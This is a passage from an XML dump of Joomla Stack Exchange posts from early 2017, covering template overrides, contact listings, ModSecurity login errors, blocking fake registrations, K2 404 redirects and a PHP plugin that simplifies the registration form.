URLs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2017-01-27T15:56:28.250" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="18973" PostTypeId="2" ParentId="18927" CreationDate="2017-01-27T16:17:42.903" Score="1" Body="&lt;p&gt;In general practice, you should ALWAYS use child templates. You never know what bugs, security issues, or upgrade compatibilities may be revealed in the future. If you have customized the 3rd party template, then you will have the sole responsibility of applying future updates to your customized template as your support from the developer will likely be voided. And, updating the template directly could erase all of your customizations and render the site less than desired or even unusable. &lt;em&gt;Unfortunately, Joomla!'s templating system does not work quite the same as WordPress's theming system, so the process is not exactly the same and your capabilities are limited.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, that said most 3rd party templates provide a &quot;customization framework&quot; that allows you to add your own code and styles without modifying the template's files. You would need to evaluate your template's customization capabilities and the extent to which your want to customize the template to decide if this is a safe route for your website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using the 3rd party template as a framework to develop your own custom template, then it should be fine to modify the template directly. However, you would want to &lt;a href=&quot;https://docs.joomla.org/J3.x:Modifying_a_Joomla!_Template&quot; rel=&quot;nofollow noreferrer&quot;&gt;change many of the settings in the template&lt;/a&gt; (as mentioned in &lt;a href=&quot;https://joomla.stackexchange.com/a/18952/5638&quot;&gt;@jamesgarrett's answer&lt;/a&gt;) so the Joomla! Update utility does not check the template's &quot;update site&quot; for future updates.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Learn more: &lt;a href=&quot;https://www.lynda.com/Joomla-tutorials/Creating-child-templates/174920/370312-4.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Creating child templates&lt;/a&gt;, &lt;a href=&quot;https://www.gavick.com/documentation/joomla/tutorials/template-update-guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to update to the latest version of a Joomla! template&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2017-01-27T16:42:23.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18976" PostTypeId="1" AcceptedAnswerId="18983" CreationDate="2017-01-28T11:02:34.830" Score="0" ViewCount="606" Body="&lt;p&gt;I would like to display list of contacts from sub-categories in a category like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Main Category name&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Sub-Category 1 name:&#xA;     Contact 1 details&#xA;     Contact 2 details etc&#xA; Sub-category 2 name:&#xA;     Contact 3 details&#xA;     Contact 4 details etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I cannot see a way of displaying all contacts in the sub-categories on the same page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somebody suggested creating a contact module for each sub-category and include these in an article. This sounds like a great idea but I do not have Contacts as an option when creating a new module so how can I create a module for the contact sub-category?&lt;/p&gt;&#xA;" OwnerUserId="9286" LastActivityDate="2020-12-29T02:01:33.267" Title="List all contacts in sub-categories of parent category" Tags="|contact|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18977" PostTypeId="2" ParentId="18963" CreationDate="2017-01-28T11:12:21.110" Score="1" Body="&lt;p&gt;A few troubleshooting suggestions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure you are using the exact &lt;code&gt;htaccess.txt&lt;/code&gt; content that ships with Joomla in your &lt;code&gt;.htaccess&lt;/code&gt;.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try this: Rename Joomla's &lt;code&gt;index.php&lt;/code&gt; and create your own &lt;code&gt;index.php&lt;/code&gt; file - then try to reach at it and see what happens. With this test you will know if it's something internal to Joomla or something from the server.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Review the Joomla Core Redirect component for possible redirections enabled in there and disable them.     &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Review your 3rd party extensions and disable plugins that might be involved - SEO/SEF or security plugins might have settings that create redirections.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Review your home menu item - what component is being used there - try with different components/menu items.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check in your hosting control panel for any possible settings that may create redirections between site versions/protocols (https/www).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ask your hosting provider for support.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Remember to come back to this site, to post the cause of your issue when it's resolved - to help other users in the future.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-01-28T11:12:21.110" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18978" PostTypeId="5" CreationDate="2017-01-28T11:48:46.003" Score="0" Body="&lt;h3&gt;What is a Joomla component&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Components are one type of Joomla extensions - the most important ones, as Joomla's main functionality runs around them. They are mini-applications inside Joomla, responsible mainly for the content of the site, but they can be used to provide other more sophisticated or complex functionality as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla comes with a number of components like the com_content (the Joomla articles manage), or com_contact (the contact manager).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;Components Documentation&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are thousands of 3rd party components available that can be installed, covering all kind of desired features and functionality. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you may find yourself in the need of special features that you can't find in any other component. Or you might be a developer that would like to provide your own application solutions to the Joomla community. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In such cases, you will find yourself being involved in custom-component development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use this tag to describe questions you might have or issues you encounter while developing your own component.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-01-28T12:04:50.687" LastActivityDate="2017-01-28T12:04:50.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18979" PostTypeId="4" CreationDate="2017-01-28T11:48:46.003" Score="0" Body="For questions related to custom component development" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-01-28T11:48:46.003" LastActivityDate="2017-01-28T11:48:46.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18980" PostTypeId="5" CreationDate="2017-01-28T12:06:22.480" Score="0" Body="" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-01-28T12:06:22.480" LastActivityDate="2017-01-28T12:06:22.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18981" PostTypeId="4" CreationDate="2017-01-28T12:06:22.480" Score="0" Body="for questions related to using email functionality with Joomla" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-01-28T12:06:22.480" LastActivityDate="2017-01-28T12:06:22.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18982" PostTypeId="2" ParentId="18967" CreationDate="2017-01-28T15:07:58.677" Score="1" Body="&lt;p&gt;Expert Custom field is the easiest option for this, It is free to download and we can easily add custom field to article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One more thing Joomla 3.7 will also comes with this feature as a core feature and functionality for adding custom field.&lt;/p&gt;&#xA;" OwnerUserId="9327" LastActivityDate="2017-01-28T15:07:58.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18983" PostTypeId="2" ParentId="18976" CreationDate="2017-01-28T20:21:52.203" Score="2" Body="&lt;p&gt;You would create the module independently, then either use the Joomla load module or Regular Labs Modules Anywhere to load within the article:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/How_do_you_put_a_module_inside_an_article%3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;How do you put a module inside an article?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.ostraining.com/blog/joomla/loadposition-loadmodule&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to Use {loadposition} and {loadmodule} in Joomla &lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.regularlabs.com/extensions/modulesanywhere&quot; rel=&quot;nofollow noreferrer&quot;&gt;Modules Anywhere&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For the module itself, here is a link to modules listed in the Contact Details category:&#xA;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/?searchall=&amp;amp;filter%5Btags%5D%5B%5D=&amp;amp;filter%5Bcore_catid%5D=198&amp;amp;filter%5Bincludes%5D=mod&amp;amp;dir=DESC&amp;amp;limitstart=&amp;amp;controller=filter&amp;amp;view=extension&amp;amp;layout=list&amp;amp;Itemid=145&amp;amp;clearorders=0&amp;amp;clearfilters=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extensions/extension/?searchall=&amp;amp;filter%5Btags%5D%5B%5D=&amp;amp;filter%5Bcore_catid%5D=198&amp;amp;filter%5Bincludes%5D=mod&amp;amp;dir=DESC&amp;amp;limitstart=&amp;amp;controller=filter&amp;amp;view=extension&amp;amp;layout=list&amp;amp;Itemid=145&amp;amp;clearorders=0&amp;amp;clearfilters=1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Looking through them quickly, it looks like the JoomlaXTC Contact Wall would do it.  It has a lot of features you don't need, but looking at the options, it lets you adjust the module template.&#xA;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/contacts-and-feedback/contact-details/contact-wall/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extensions/extension/contacts-and-feedback/contact-details/contact-wall/&lt;/a&gt;&#xA;&lt;a href=&quot;http://demo.joomlaxtc.com/?extension=contactwall&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://demo.joomlaxtc.com/?extension=contactwall&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The other option would be to do it similarly but with component views instead of separate modules.  Take a look at Components Anywhere, also by RegularLabs.  I am a big fan of all their extensions because they just work, without drama:&#xA;&lt;a href=&quot;https://www.regularlabs.com/extensions/componentsanywhere&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.regularlabs.com/extensions/componentsanywhere&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastEditorUserId="14780" LastEditDate="2020-12-29T02:01:33.267" LastActivityDate="2020-12-29T02:01:33.267" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18984" PostTypeId="1" CreationDate="2017-01-29T04:54:11.503" Score="1" ViewCount="248" Body="&lt;p&gt;My website has migrated from one hosting server to another. Since then, for the reason I am unsure about, when I try to log into my admin page the following error occurs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ALj8T.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ALj8T.png&quot; alt=&quot;Error message&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After getting stuck with it for a while I have found the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;This error only happens on my desktop with my ISP service.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I can still access the admin page via my phone and actually never had the problem.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When I connect to my home ISP Wifi on my phone when, I get the same problem.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When I have my desktop connected to my phone mobile hotspot, I can log into the admin page.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;My ISP suggested that I restart my router to change my IP address, which actually gives me access to the admin page, but in about 15 minutes, the same error occurs and I can never log into the admin site after this.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Clearing browser history does not work either.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have checked with my both my server host and ISP tech support parties and they are both pointing at one another and claiming that they have not blocked this domain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla experts, how do I get around this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help.&lt;/p&gt;&#xA;" OwnerUserId="8777" LastActivityDate="2018-12-22T05:55:02.930" Title="Recurring MOD_SECURITY upon logging into the site admin page" Tags="|security|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18985" PostTypeId="1" AcceptedAnswerId="19057" CreationDate="2017-01-29T07:42:51.153" Score="0" ViewCount="334" Body="&lt;p&gt;I have been trying a lot lately to get this thing work.I'm using Joomla 3.6.5 and I am using JA University Template.I see when I log in through front end I am able to see the K2 edit icon for modules.but I don't see any edit icon for articles (K2 items).I have literally tried everything from user groups mapping to disabling Gzip compression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please, let me know if I'm missing something.&lt;/p&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2017-02-05T18:05:46.253" Title="K2 Items edit icon missing" Tags="|joomla-3.x|k2|front-end|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18986" PostTypeId="2" ParentId="18984" CreationDate="2017-01-29T12:42:09.270" Score="1" Body="&lt;p&gt;I found that it was the server host in the end. &#xA;Whew.. I spent a lot of time going back and forth. But I learned a lot through this and will definitely deal with such issue better next time :)&lt;/p&gt;&#xA;" OwnerUserId="8777" LastEditorUserId="8777" LastEditDate="2017-01-29T13:20:13.573" LastActivityDate="2017-01-29T13:20:13.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18988" PostTypeId="2" ParentId="18457" CreationDate="2017-01-30T07:19:38.470" Score="0" Body="&lt;p&gt;Here is a link on how to create a template override for protostar:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bj.zemplate.com/protostar-responsive-template/customization/21-creating-template-overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bj.zemplate.com/protostar-responsive-template/customization/21-creating-template-overrides&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create an override for the &lt;strong&gt;com_contact&lt;/strong&gt; component: &lt;strong&gt;category&lt;/strong&gt;.&lt;br&gt;&#xA;I found it helpful to also create an override for the &lt;strong&gt;com_contact&lt;/strong&gt; component: &lt;strong&gt;featured&lt;/strong&gt; as well to use as a template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The override files can now be found under the editor tab html folder. You need to edit the &lt;strong&gt;com_contact/category/default_items.php&lt;/strong&gt; file.  You need to replace the whole &lt;strong&gt;ul&lt;/strong&gt; section with a &lt;strong&gt;table&lt;/strong&gt;.  You can copy the table from the &lt;strong&gt;com_contact/featured/default_items.php&lt;/strong&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will probably need to apply some custom css to make it look how you want.&lt;/p&gt;&#xA;" OwnerUserId="9286" LastEditorUserId="126" LastEditDate="2017-01-30T09:25:54.037" LastActivityDate="2017-01-30T09:25:54.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18989" PostTypeId="1" CreationDate="2017-01-30T09:26:43.300" Score="1" ViewCount="361" Body="&lt;p&gt;In my joomla article blog view i can see the expired and archived articles when i login as a user with editor or publisher rights. When i edit the user rights and set the same user to author, the expired and archived articles are not showing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i set the permissions so that these (expired, archived..) articles never show in the frontend?&lt;/p&gt;&#xA;" OwnerUserId="4156" LastActivityDate="2017-01-30T09:26:43.300" Title="Hide archived or expired articles in category view for editors/ publishers" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18991" PostTypeId="1" CreationDate="2017-01-30T13:00:51.403" Score="5" ViewCount="747" Body="&lt;p&gt;I have a Joomla site that allows users registration. Form registration uses captcha plugin that comes with Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I am constantly receiving fake registrations. Most of them, users do not validate account, but a few do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All fake accounts that are created share the same caracteristics. First, the user name is strange (for example, karenpv3, Richardmacy, HanReal47p, xzusaymeznxxzcf, and so on), the e-mail is clearly, in most cases, invented, the country is generally from east Europe (Russia, Poland, Ukraine, Romania, Germany, Etc.) and the phone number is a number always with the same number of digits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the country information, I have used this site &lt;a href=&quot;https://www.ip2location.com/blockvisitorsbycountry.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.ip2location.com/blockvisitorsbycountry.aspx&lt;/a&gt; to block users using Linux firewall (Iptables). On the other hand, I have installed a plugin that sends me an e-mail each time a user registers the site and tells me about the IP address. With that information, I realized that not all network masks are considered in the IpTables. For example, a user came from IP 213.80.232.35 (Russia), however, the site above added iptable entry 213.80.128.0/17 so I have to add manually 213.80.0.0/16 in order to block that whole network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since my form has Recaptcha feature, I think it is not a bot who registers but a real human or spammers have found a way to hack recaptcha.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a more effective way to avoid those fake registrations? what spammers or hackers can get with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;Jaime&lt;/p&gt;&#xA;" OwnerUserId="8866" LastEditorUserId="126" LastEditDate="2017-01-31T05:52:41.927" LastActivityDate="2017-01-31T05:52:41.927" Title="How to avoid fake users to register my Joomla site" Tags="|joomla-3.x|user|security|registration|" AnswerCount="2" CommentCount="0" ClosedDate="2017-08-29T17:15:28.653" ContentLicense="CC BY-SA 3.0" />
  <row Id="18992" PostTypeId="1" AcceptedAnswerId="19454" CreationDate="2017-01-30T13:03:00.313" Score="3" ViewCount="172" Body="&lt;p&gt;On our site we have a default custom template that we use for almost all pages expert a few special admin pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the these pages is from the menu item pointed to the protostar template with menu id = 9 but when loading the page it loads our default template with id = 10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of that the page breaks and prevents us from using that page. For some users the page still works and loads the correct template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This only happens when the user is logged in, but since these pages is only available for administrators we have a big problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight why this might happen? Also where is the file where Joomla decides what template to render?&lt;/p&gt;&#xA;" OwnerUserId="9610" LastActivityDate="2017-08-25T13:25:24.190" Title="Joomla loads wrong template when user is logged in" Tags="|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18993" PostTypeId="1" AcceptedAnswerId="19004" CreationDate="2017-01-30T13:37:00.823" Score="1" ViewCount="61" Body="&lt;p&gt;PSR-2 demands that a file either defines classes and functions &lt;em&gt;or&lt;/em&gt; contains side-effects. Including&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in all files collides with this convention. Is it safe to exclude this line?&lt;/p&gt;&#xA;" OwnerUserId="7077" LastActivityDate="2017-01-31T16:16:28.363" Title="No direct access and PSR-2" Tags="|access|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18994" PostTypeId="2" ParentId="18044" CreationDate="2017-01-30T14:13:42.247" Score="0" Body="&lt;p&gt;So, one approach to this is to modify the HTML of the com_contacts module html in your template. &lt;/p&gt;&#xA;" OwnerUserId="8870" LastActivityDate="2017-01-30T14:13:42.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18996" PostTypeId="2" ParentId="18963" CreationDate="2017-01-30T17:35:10.087" Score="0" Body="&lt;p&gt;So basically I have written to my hosting provider support. After small investigation they proposed to install Joomla in subfolder and then in control panel to point domain to that subfolder. I have done it and now it seems to work just fine.&lt;/p&gt;&#xA;" OwnerUserId="9598" LastActivityDate="2017-01-30T17:35:10.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18997" PostTypeId="2" ParentId="18991" CreationDate="2017-01-31T00:19:06.200" Score="2" Body="&lt;p&gt;Preventing fake accounts can be tricky. ReCaptcha v2 will work to a certain extent but is still not a 100% solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would suggest doing is going to the User Manager Options and setting the &lt;strong&gt;New User Account Activation&lt;/strong&gt; to &lt;strong&gt;Self&lt;/strong&gt;. This will ensure that users need to activate their account via email, until then, their account will be disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then install a plugin called &lt;a href=&quot;https://www.innato.nl/index.php?option=com_remository&amp;amp;Itemid=158&amp;amp;func=fileinfo&amp;amp;id=14&quot; rel=&quot;nofollow noreferrer&quot;&gt;JUserPrune&lt;/a&gt; which automatically  deletes user accounts that have been registered but not activated for longer than the configured period&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-01-31T00:19:06.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18998" PostTypeId="1" CreationDate="2017-01-31T00:54:19.480" Score="2" ViewCount="244" Body="&lt;p&gt;I want to explain the issue so hopefully any body can help me &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a website that use to contain K2 Component on it for different reasons that website got destroy &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so I had it to redo the whole website but now I did it without K2 for my surprise now I have a lot of errors on google webmaster tools &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this ones /index.php?option=com_k2&amp;amp;view=itemlist&amp;amp;task=user&amp;amp;id=547&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I contacted k2 they say I can fix it inside K2 but I do not have k2 any more because is a new website &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand is a link of spammer users that were created on the website I want to redirect them so they do not show any more on google webmaster tools &lt;/p&gt;&#xA;&#xA;&lt;p&gt;any idea how to create that code htaccess - to do this kind of redirection &lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there any way to do a redirection to point all k2 links at once and say to google there is no more k2 on a website???&lt;/p&gt;&#xA;" OwnerUserId="8329" LastEditorUserId="126" LastEditDate="2017-02-01T08:37:33.973" LastActivityDate="2017-02-01T09:11:13.620" Title="Get rid of 404 Errors after removing K2" Tags="|joomla-3.x|joomla-api|k2|joomla-3.5|k2store|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18999" PostTypeId="2" ParentId="18991" CreationDate="2017-01-31T00:59:20.870" Score="2" Body="&lt;p&gt;I advise Admin tools &#xA;if you configured the right way is a excellent software &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.akeebabackup.com/products/admin-tools.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.akeebabackup.com/products/admin-tools.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8329" LastActivityDate="2017-01-31T00:59:20.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19000" PostTypeId="2" ParentId="7392" CreationDate="2017-01-31T10:57:26.473" Score="2" Body="&lt;p&gt;@DavidFritsch's answer was very helpful. A couple of problems I found though were:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A) You can't completely remove certain mandatory fields as it causes problems with data filtering on form submission (see comments in the code below). To combat this, hide rather than remove the fields from the form object.&#xA;B) The onUserBeforeSave event is not fired until it is too late to prevent the registration validation logic from rejecting the form submission. Instead, use the onUserBeforeDataValidation event. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my particular case, all I wanted was email address and password. Joomla threw in a complication here though, since email address was appearing after password (dictated by the order of the fields declared in the registration.xml file), which would look daft from a user experience perspective. To work around that, I re-labelled the username field to 'Email Address' and instead hid the email address field. Email is then defaulted from the username on form submission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Minor note: I've restricted the plugin to only operate on the 'com_users.registration' form for my purposes, as compared to David's answer which considers other forms also.)&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PlgUserSimpleRegistration extends JPlugin&#xA;{&#xA;&#xA;function onContentPrepareForm($form, $data)&#xA;{&#xA;    if (!($form instanceof JForm))&#xA;    {&#xA;        $this-&amp;gt;_subject-&amp;gt;setError('JERROR_NOT_A_FORM');&#xA;        return false;&#xA;    }&#xA;&#xA;    // Check we are manipulating the registration form&#xA;    if ($form-&amp;gt;getName() != 'com_users.registration')&#xA;    {&#xA;        return true;&#xA;    }&#xA;&#xA;    // Check whether this is frontend or admin&#xA;    if (JFactory::getApplication()-&amp;gt;isAdmin()) {&#xA;        return true;&#xA;    }&#xA;&#xA;    // Remove/Hide fields on frontend&#xA;    // Note: since the onContentPrepareForm event gets fired also on&#xA;    // submission of the registration form, we need to hide rather than&#xA;    // remove the mandatory fields. Otherwise, subsequent filtering of the data&#xA;    // from within JModelForm.validate() will result in the required fields&#xA;    // being stripped from the user data prior to attempting to save the user model,&#xA;    // which will trip an error from inside the user object itself on save!&#xA;    $form-&amp;gt;removeField('password2');&#xA;    $form-&amp;gt;removeField('email2');&#xA;&#xA;    $form-&amp;gt;setFieldAttribute('name', 'type', 'hidden');&#xA;    $form-&amp;gt;setValue('name', null, 'placeholder');&#xA;    $form-&amp;gt;setFieldAttribute('email1', 'type', 'hidden');&#xA;    $form-&amp;gt;setValue('email1', null, JUserHelper::genRandomPassword(10) . '@invalid.nowhere');&#xA;&#xA;    // Re-label the username field to 'Email Address' (the Email field&#xA;    // ordinarily appears below the password field on the default Joomla&#xA;    // registration form)&#xA;    $form-&amp;gt;setFieldAttribute('username', 'label', 'COM_USERS_REGISTER_EMAIL1_LABEL');&#xA;&#xA;    return true;&#xA;}&#xA;&#xA;function onUserBeforeDataValidation($form, &amp;amp;$user) {&#xA;    if ($form-&amp;gt;getName() != 'com_users.registration') {&#xA;        return true;&#xA;    }&#xA;&#xA;    if (!$user['username']) {&#xA;        // Keep up the pretense from above!&#xA;        $form-&amp;gt;setFieldAttribute('username', 'label', 'COM_USERS_REGISTER_EMAIL1_LABEL');&#xA;        return true;&#xA;    }&#xA;&#xA;    if (!$user['name'] or $user['name'] === 'placeholder') {&#xA;        $user['name'] = $user['username'];&#xA;        $user['email1'] = $user['email2'] = $user['username'];&#xA;        $user['password2'] = $user['password1'];&#xA;    }&#xA;}&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="454" LastEditorUserId="454" LastEditDate="2017-01-31T15:56:43.923" LastActivityDate="2017-01-31T15:56:43.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19002" PostTypeId="1" AcceptedAnswerId="19003" CreationDate="2017-01-31T12:38:59.743" Score="2" ViewCount="2219" Body="&lt;ul&gt;&#xA;&lt;li&gt;Joomla 3.6.5&lt;/li&gt;&#xA;&lt;li&gt;Helix 3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am using &lt;a href=&quot;http://demo.joomshaper.com/2015/helix3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this template&lt;/a&gt; and what I am trying to do seems like it should be simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I am displaying a logo similar to the default template, however I would also like to include a few words of text below the logo (the site slogan).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find anywhere to do this, I have been searching through the code for specif &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; and &lt;code&gt;id&lt;/code&gt; names but to no avail. I'm not sure what php file to edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Helix template settings I can only select to either show a logo &lt;strong&gt;or&lt;/strong&gt; text - not both. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The html logo code (as you can check for yourself) is as follows;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;col-xs-8 col-sm-3 col-md-3&quot; id=&quot;sp-logo&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;sp-column&quot;&amp;gt;&#xA;        &amp;lt;h1 class=&quot;logo&quot;&amp;gt;&amp;lt;a href=&quot;/2015/helix3/&quot;&amp;gt;&amp;lt;img alt=&quot;Helix3 Framework&quot; class=&quot;sp-default-logo&quot; data-pin-nopin=&quot;true&quot; src=&quot;/2015/helix3/templates/shaper_helix3/images/presets/preset1/logo.png&quot;&amp;gt;&amp;lt;img alt=&quot;Helix3 Framework&quot; class=&quot;sp-retina-logo&quot; height=&quot;48&quot; src=&quot;/2015/helix3/templates/shaper_helix3/images/presets/preset1/logo@2x.png&quot; width=&quot;145&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Helix don't provise free support which is why I'm here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any 